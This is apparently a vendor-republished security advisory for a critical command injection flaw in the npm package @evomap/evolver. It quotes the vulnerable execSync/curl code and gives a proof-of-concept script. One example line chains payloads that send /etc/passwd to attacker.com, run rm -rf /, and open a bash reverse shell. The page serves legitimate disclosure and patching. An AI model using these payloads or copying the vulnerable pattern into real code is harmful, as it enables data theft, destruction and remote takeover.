GHSA-j5w5-568x-rq53
CRITICALGHSA-j5w5-568x-rq53 is a critical-severity (CVSS 9.8) OS Command Injection vulnerability in @evomap/evolver. O3 Security confirms whether GHSA-j5w5-568x-rq53 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
@evomap/evolvernpmDescription
Summary
A command injection vulnerability in the _extractLLM() function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to execSync() without proper sanitization, enabling remote code execution when the corpus parameter contains shell metacharacters.
Details
The vulnerability exists in src/gep/signals.js at lines 260-274:
// src/gep/signals.js:260-274
function _extractLLM(corpus, nodeSecret, hubUrl) {
// ...
var url = getHubUrl(hubUrl) + '/gep/extract';
var postData = JSON.stringify({ corpus_summary: summary });
// VULNERABLE: String concatenation into shell command
var curlCmd = 'curl -s -m 10 -X POST'
+ ' -H "Content-Type: application/json"'
+ ' -H "Authorization: Bearer ' + nodeSecret + '"'
+ ' -d ' + JSON.stringify(postData).replace(/'/g, "'\\''")
+ ' ' + JSON.stringify(url);
// VULNERABLE: Executes shell command
stdout = execSync(curlCmd, { timeout: 12000, encoding: 'utf8' });
// ...
}
The corpus parameter is derived from user input (via userSnippet in extractSignals() function) and flows through to _extractLLM() where it becomes part of the shell command. While JSON.stringify() escapes some characters, it does not prevent shell command substitution via $(...) syntax when the resulting string is passed to execSync().
The extractSignals() function is called from the main evolution loop in src/gep/evolver.js, which processes user snippets and session transcripts.
PoC
Prerequisites:
- Node.js installed
- Access to the evolver application
Steps to reproduce:
- Create a test file that simulates the vulnerable code path:
// test-command-injection.js
const { execSync } = require('child_process');
// Simulate the vulnerable _extractLLM function
function vulnerableExtractLLM(corpus) {
const postData = JSON.stringify({ corpus_summary: corpus });
const curlCmd = 'curl -s -m 10 -X POST'
+ ' -H "Content-Type: application/json"'
+ ' -d ' + JSON.stringify(postData).replace(/'/g, "'\\''")
+ ' http://localhost/test';
console.log('Command that would be executed:');
console.log(curlCmd);
console.log('\n--- Testing command substitution ---');
// Demonstrate that command substitution works
const testCmd = 'echo ' + JSON.stringify('$(id)');
console.log('\nTest with echo:');
console.log(execSync(testCmd, { encoding: 'utf8' }));
}
// Payload with command injection
const maliciousCorpus = '$(touch /tmp/pwned)';
vulnerableExtractLLM(maliciousCorpus);
- Run the test:
node test-command-injection.js
Expected result: The command substitution $(id) is executed by the shell, demonstrating that the same technique could be used with curl to execute arbitrary commands.
Actual exploit scenario:
If an attacker can control the userSnippet parameter that flows into extractSignals() (e.g., via compromised log files or malicious user input), they can inject shell commands like:
$(curl attacker.com/exfil?data=$(cat /etc/passwd))$(rm -rf /)$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
Impact
This is a Remote Code Execution (RCE) vulnerability. An attacker who can control input to the extractSignals() function (whether through compromised log files, malicious user input, or other vectors) can execute arbitrary shell commands with the privileges of the Node.js process. This could lead to:
- Full system compromise
- Data exfiltration
- Installation of malware/backdoors
- Lateral movement within the network
Affected users: Anyone running the evolver with the GEP (Genetic Evolution Protocol) enabled and processing user-provided content.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @evomap/evolver | all versions | 1.69.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @evomap/evolver. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @evomap/evolver to 1.69.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j5w5-568x-rq53 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-j5w5-568x-rq53 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-j5w5-568x-rq53. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-j5w5-568x-rq53 in your dependencies?
O3 detects GHSA-j5w5-568x-rq53 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.